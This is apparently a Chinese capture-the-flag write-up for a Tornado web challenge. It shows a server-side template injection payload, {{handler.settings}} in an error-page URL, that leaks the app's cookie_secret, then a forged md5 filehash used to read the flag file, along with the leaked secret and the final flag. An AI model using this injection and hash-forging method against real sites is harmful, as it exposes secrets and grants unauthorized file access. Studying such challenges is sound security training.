题目描述:Tornado 框架
显示有3 个文件
1.访问flag.txt文件提示flag在fllllllllllllag文件中
2.访问welcome.txt文件,提示render
render是一个Tomado框架的一个渲染函数,即可以通过传递不同的参数形成不同的页面,可能存在模板注入漏洞
3.访问hints.txt文件,看到有个md5加密方法,再看请求的url发现每个url都带有filehash,应该就是filehash的加密公式
根据url特征需要提供filename及filehash才能成功访问文件,我们现在已经知道了flag文件,再获得flag文件的对应的filehash即可访问flag文件
抓包寻找cookie并没有,尝试对已知的filehash进行md5解密反推cookie_secret无果,只能从框架入手了
参考别人的wp:https://blog.csdn.net/Onlyone_1314/article/details/121875087
cookie_secret在tornado框架中的tornado.web.RequestHandler和tornado.web.Application类中有使用到
这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了
获取cookie_secret payload:
http://111.200.241.244:64648/error?msg={{handler.settings}}
cookie_secret:3116a786-05e4-4708-b203-ee2f3c32bad7
制作/fllllllllllllag的filehash
md5(fllllllllllllag):3bf9f6cf685a6dd8defadabfb41a03a1
md5(cookie_secret+md5(fllllllllllllag)):53dcf2c0f5c3e8e22cf8637bbe132f6f
最终payload:
http://111.200.241.244:64648/file?filename=/fllllllllllllag&filehash=53dcf2c0f5c3e8e22cf8637bbe132f6f
flag{3f39aea39db345769397ae895edb9c70}